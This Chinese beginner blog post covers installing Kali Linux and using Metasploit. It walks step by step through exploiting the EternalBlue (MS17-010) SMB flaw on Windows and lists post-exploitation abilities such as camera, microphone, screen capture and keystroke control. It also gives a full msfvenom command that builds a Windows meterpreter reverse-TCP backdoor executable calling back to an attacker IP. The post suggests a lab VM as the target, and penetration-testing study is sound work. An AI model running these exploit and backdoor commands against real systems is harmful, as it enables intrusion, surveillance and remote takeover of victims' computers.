KALI入门

原创 已于 2024-03-23 23:11:54 修改 · 937 阅读 · 30 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
于 2024-03-22 19:38:10 首次发布
本文介绍了在Kali Linux中进行渗透测试的方法。首先说明了Kali的下载安装，推荐用模拟器下载。接着介绍了Metasploit工具，包括其简介、使用方法和法则，还演示了用它利用“永恒之蓝”漏洞攻击Windows系统。最后提到用Kali渗透工具msfvenom生成远控木马。

下载安装

官网地址如下：

卡利 Linux |渗透测试和道德黑客 Linux 发行版 (kali.org)

推荐使用模拟器下载，因为kali会配置好环境，如果Windows，Mac下载还需自行配备环境。

果然大众使用的还是VM！Download VMware Workstation Pro

下载完成后解压点击后缀为vmx的文件就会自行在VM运行。

进入kali后会需要输入用户名和密码，全部输入kali就好。

metasploit

简介：

Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。
 

使用方法：

首先打开我们的kali终端

输入 sudo su     -------   切换到管理员用户                  密码仍是kali     

接着输入msfconsole进入metasploit命令行界面

msf使用法则：

  • 使用模块 -> 配置模块必选项 -> 运行模块

使用metasploit攻击Windows操作系统

这里引用一个漏洞  “永恒之蓝” ：

  永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

微软把这个漏洞列为2017年第10号漏洞，我们可以在kali中搜索到

输入  search ms17_010

exploit 是漏洞攻击脚本，我们想要攻击电脑，就需要引用这些模块

1.直接输入其名字
use exploit/windows/smb/ms17_010_eternalbluete Windows Kernel Pool Corruption
2.输入编号
use 0

引用模块之后，我们还需要设置必选项，方便我们告诉msf我们要做什么，这里输入show options可以查看哪些使我们需要配置的东西（Required中值为yes的使我们必须要配置的）

在Module options其中我们可以发现，VERIFY_ARCH和VERIFY_TARGET是已经配置好的，而RPURT是默认的445也不需要我们去配置，所以只有一个RHOSTS是我们需要配置的，RHOSTS的意思是目标服务器的ip地址

下一列Payload options，攻击宰割  意思大致为“攻击之后想要干什么”，这里面的内容都是默认修改或配置好的不需要我们去动。

这里推荐大家开一台虚拟机来作为靶场攻击，这里以win7为例

首先在Windows终端输入ipconfig来查看此机的ip地址

我们还可以修改最后的132为 0-255 意思就是去攻击一个网段

为了防止攻击失败，我们也可以修改 LPORT 65535个端口随意更改

这里我们已经是修改好了的，接下来就直接可以进行攻击了

输入run就可以进行攻击了（这里ip做了一下修改，因为这  永恒之蓝  毕竟是一个老漏洞了，win7已经对他做出了修改补丁，除非删除系统补丁才能进行攻击，这里为了避免麻烦换了一个win 2008 x64的系统，一定是要64位处理器的系统，不然会报错不能攻击的！！）

输入help可以查看我们能利用这个做些什么，这里包括但不限于：打开电脑录音、摄像头，截取电脑屏幕，关机，输入键盘或鼠标指令等等

使用kali渗透工具生成远控木马

msfvenom是用来生成后门的软件，在目标机上执行后门，在本地进行监听

Windows可执行程序后门：

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lport=9999 -f exe -o demo.exe
//      payload   payload_name 系统/架构/作用/方式   payload设置                   format  output 
//        windows可改为linux,mac,Android等                                      exe是Windows可执行文件，根据系统选择

这就做成了一个简易的“计算机病毒”，不过是非常简易的病毒，会轻松被电脑防护系统杀掉

标签
#linux #运维 #服务器
Kali从入门到入狱——介绍及安装kali Linux
Box_sir的博客
10-01 1万+
Kali从入门到入狱——安装Kali Linux 什么是kali Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成，BackTrack是他们之前写的用于取证的Linux发行版 。 Kali Linux预装了许多渗透测试软件，包括nmap 、Wireshark 、John the Ripp
网络安全与服务器运维工程师：小白如何学习Kali Linux操作系统
11-14
Kali Linux课程简介： Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。面向专业的安全测试和安全审计集成化：预装超过300个安全测试工具兼容好：Kali可以安装到手机、PC和树莓派等安全性：Kali Linux开发团队由一群可信任的人组成，他们只能在使用多种安全协议的时候提交包或管理源免费用： Kali Linux一如既往的免费。你永远无需为Kali Linux付费
MDK5 Debug调试方法总结
m0_70748084的博客
05-22 2万+
MDK5 Debug调试方法总结
kali linux入门及常用简单工具介绍
2301_77815877的博客
05-10 1万+
相信很多同学了解到和学习网络安全的时候都听过kali系统，大家都称之为黑客最喜爱的系统，那么什么是kali，初学者用kali能做些什么，我将在本文中做简单的介绍正如刚才所说，kali里集成了大量的黑客工具和网络安全相关工具，可以说黑客需要做的所有事情在这个系统中都有工具可以实现。下面我推荐几个新手入门可以用到的小工具。提示：这里对文章进行总结：例如：以上就是今天要讲的内容，本文仅仅简单介绍了pandas的使用，而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。
KALI入门到高级【第四章】
Kali与编程
04-29 1330
总之，Kali Linux在网站应用程序安全方面提供了多种技术和工具，包括漏洞扫描、Web应用程序攻击、密码破解、社交工程等，可以帮助测试人员发现和利用网站应用程序中的漏洞和安全隐患。总之，Kali Linux在移动设备安全方面提供了多种技术和工具，包括漏洞扫描、数据恢复、密码破解、窃听和监视等，可以帮助测试人员发现和利用移动设备中的漏洞和安全隐患。总之，Kali Linux在云安全方面提供了多种技术和工具，包括云安全评估、云安全监控、云安全加固等，可以帮助测试人员发现和利用云环境中的漏洞和安全隐患。
Linux——kali系统简介及命令
qq_53937309的博客
10-17 8720
kali是Linux的一种，内部包含众多的网络安全相关的软件。用户分为两类：1.管理员用户也是root，管理员用户具有全部权限，可以进行任意的操作。2.普通用户，新建的用户都是普通用户，权限非常低。
KaLi入门基础
热门推荐
开摆工作室（kbai.cc）
08-24 3万+
我的博客链接：https://blog.kbai.cc/ 学习KaLi ​ ????郑重声明 此文章可能会包含敏感以及危险的命令❗❗❗命令有风险，回车需谨慎。 此文章仅供学习交流与参考使用，禁止运用于任何非法行动或测试中，若有预期之外的后果，将不承担任何责任！！ ❌ERHE再次进行警告与提醒！ ┌──( root????KaLi-Erhe )-[ ~ ] └─# cat 重要的事情说三遍 ❗❗❗ ⭕命令有风险，回车需谨慎 ❗ ⭕命令有风险，回车需谨慎
Kali 入门
qq_42817951的博客
03-22 918
【入门教程】 使用Kali的基础入门 一、配置静态地址 vim /etc/network/interface 修改/etc/resolv.conf文件（配置DNS） 路由 route //查看路由表 netstat -rn //查看路由 route del default eth0 //删除eth0上的默认路由 rouet add default gw 192.168.1.1 //添加路由 重启网卡 systemctl restart networking 路由 route //查看路由表 nets
一文通透——Kali Linux基础入门_kali linux 新手教程
weixin_42340783的博客
01-04 840
此文章可能会包含敏感以及危险的命令❗❗❗命令有风险，回车需谨慎。此文章仅供学习交流与参考使用，禁止运用于任何非法行动或测试中，若有预期之外的后果，将不承担任何责任！！
一文通透——Kali Linux基础入门_kali linux 新手教程，零基础入门教程，看完这篇就足够了
VN520的博客
09-15 1721
PS：apt upgrade和dist-upgrade的差别 upgrade升级时，如果软件包有相依性的问题，此软件包就不会被升级。PS：复制粘贴小技巧 1、复制:在kali终端下，使用鼠标选中内容，就可以完成kali下复制， 2、粘贴:移动光标到需要粘贴的位置，按下鼠标中间的滚轮，就可以粘贴。依次进入：左上角==>设置==>电源管理器==>安全性==>自动锁定会话：从不==>当系统进入睡眠状态··· ··· ，去掉那个勾。最后，我其实要给部分人泼冷水，因为说实话，上面讲到的资料包获取没有任何的门槛。
Kali Linux从入门到高级全面指南
孤客科技
02-04 1946
Kali Linux由Offensive Security团队开发和维护，前身是BackTrack Linux。预装大量安全工具：Kali Linux集成了600多种安全工具，涵盖了渗透测试的各个方面。免费和开源：Kali Linux是完全免费和开源的，任何人都可以下载和使用。高度可定制：Kali Linux支持高度定制，用户可以根据自己的需求添加或删除工具。广泛的硬件支持：Kali Linux支持多种硬件平台，包括x86、x64、ARM等。
一文通透——Kali Linux基础入门
Python84310366的博客
05-15 1122
PS：apt upgrade和dist-upgrade的差别 upgrade升级时，如果软件包有相依性的问题，此软件包就不会被升级。PS：复制粘贴小技巧 1、复制:在kali终端下，使用鼠标选中内容，就可以完成kali下复制， 2、粘贴:移动光标到需要粘贴的位置，按下鼠标中间的滚轮，就可以粘贴。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。依次进入：左上角==>设置==>电源管理器==>安全性==>自动锁定会话：从不==>当系统进入睡眠状态··· ··· ，去掉那个勾。
什么是 Kali？｜零基础小白必懂的 Kali Linux 入门解析
最新发布
shandongjiushen的博客
06-16 336
kali是linux其中一个发行版，基于Debian，前身是BackTrack（简称BT系统）。kali系统内置大量渗透测试软件，可以说是巨大的渗透系统，涵盖了多个领域，如无线网络、数字取证、服务器、密码、系统漏洞等等，知名软件有：wireshark、aircrack-ng、nmap、hashcat、metasploit-framework(msf)。
Kali linux新手入门视频教程|Kali linux安装
rjjiaocheng的博客
06-19 1万+
一、 Kali linux是什么？ Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。Kali Linux面向专业的渗透测试和安全审计.因此,Kali Linux已经进行了如下的多处核心的修改。单用户,设计成root权限登录:由于安全审计的本质，Kali Linux被设计成使用”单用户,root权限“方案。 二、 Kali linux新手入门教程目录（视频教程）...
【kali入门篇】kali linux新手入门指南（命令篇）_kali linux使用教程
weixin_57514792的博客
09-06 1607
【kali入门篇】kali linux新手入门指南（命令篇）_kali linux使用教程
Kali Purple 入门（三）
龙哥盟
06-19 1530
真是一段旅程！在《Kali Purple 入门》的最后一章中，你评估了通过设置 Kali Autopilot 并提供简单的扫描脚本来自动化渗透测试的过程。现在，你了解了如何创建自己的自动化攻击脚本的基础。我们还提供了 Python 脚本语言的高级概述，期望你能识别出大多数 Python 脚本的核心组件。这应该能够帮助你理解任何特定脚本中的内容，甚至让你在不需要真正懂得编写 Python 代码的情况下，编辑脚本以使其符合你的需求！最后，我们讲解了更新的 NIST CSF 2.0，其中包括新添加的治理。
1559-基于51单片机的温度报警（PT100,MAX7219,ADC0832）proteus，原理图、流程图、物料清单、仿真图
1559-基于51单片机的温度报警（PT100,MAX7219,ADC0832）proteus，原理图、流程图、物料清单、仿真图、源代码资料介绍：基于51单片机的温度报警（PT100,MAX7219,ADC0832）1、传感器pt100测温，adc0832转换结果2、使用max7219驱动数码管3、具有上下限报警功能 有哪些资料：1、仿真工程文件2、源代码工程文件3、原理图工程文件4、功能介绍5、元件清单
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值